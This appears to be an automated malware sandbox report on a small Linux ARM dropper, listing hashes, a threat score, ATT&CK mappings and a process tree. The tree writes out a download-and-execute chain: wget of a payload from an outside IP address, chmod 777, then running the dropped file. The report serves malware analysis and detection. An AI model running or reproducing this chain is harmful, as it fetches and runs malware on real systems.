4e9b78c647f46f1fe3b8d835b468482521913c04759086e42aeeb1cf43f7d0f4

Analysis

max time kernel
0s
max time network
2s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
12/10/2026, 15:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
4e9b78c647f46f1fe3b8d835b468482521913c04759086e42aeeb1cf43f7d0f4
Size 751B
Sample261012-tdd77act7y
SHA256 4e9b78c647f46f1fe3b8d835b468482521913c04759086e42aeeb1cf43f7d0f4
MD5 652f7a8ef3c42e010615cb745963224a
SHA1 edac06a11b10ff4d389a94d1e92e1f421401e4d8
SHA512 64ea44757e042e02b3c8d80118b8f0952824c803aae2d127fe5dd78b8abea905114f4f8ffc69ff25150fdecc4fb882bf95feadfb9db6cddc999c49e0af844ceb
TLSH
T12C01CBAB273101B2191E5828E72BF055F86616B37C542C54F8DC7B922F0BAB5204AF81
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
677	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/tadashi	678	4e9b78c647f46f1fe3b8d835b468482521913c04759086e42aeeb1cf43f7d0f4

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tadashi	wget

/tmp/4e9b78c647f46f1fe3b8d835b468482521913c04759086e42aeeb1cf43f7d0f4
/tmp/4e9b78c647f46f1fe3b8d835b468482521913c04759086e42aeeb1cf43f7d0f4
1⤵
- Executes dropped EXE
PID:647
- /bin/uname
  uname -m
  2⤵
  PID:649
- /usr/bin/wget
  wget http://5.83.134.80:24331/tadashi.android.arm -O tadashi
  2⤵
  - Writes file to tmp directory
  PID:651
- /bin/chmod
  chmod 777 tadashi
  2⤵
  - File and Directory Permissions Modification
  PID:677

/tmp/tadashi
./tadashi
1⤵
PID:678

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

tadashi

Path /tmp/tadashi
Size 276KB
SHA256 d62e5ac9ce39aaddd19f3a93cdce3370aa139ff0f03711ca78672a923cc84e29
MD5 03fa755310c7686ee218ed4dfc1bf5f9
SHA1 e4e5c1417ccaf9b1ac108497734e137339e47f64
SHA512 672ac80d2b16cdb3c94a844cb59a316554fd0515b73d7e0401d7948cbfd1e8a7c54e51da987d13d4899e2d94939eb661bb1b8a7285c494eb55145d49ba597208
SSDEEP 6144:n/ZUNwV3s9c5IfWwEcCNOoN0bWDe1ST7PCFGfOfswV96eFjIftq7DRjy6:n/Ps90gWTDe1e2FaxcR+6
TLSH
T1D854F7A6BD42E486C5D467BAFB6DC3C8334723F8E3D93012D906872564CF5890F3A669
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download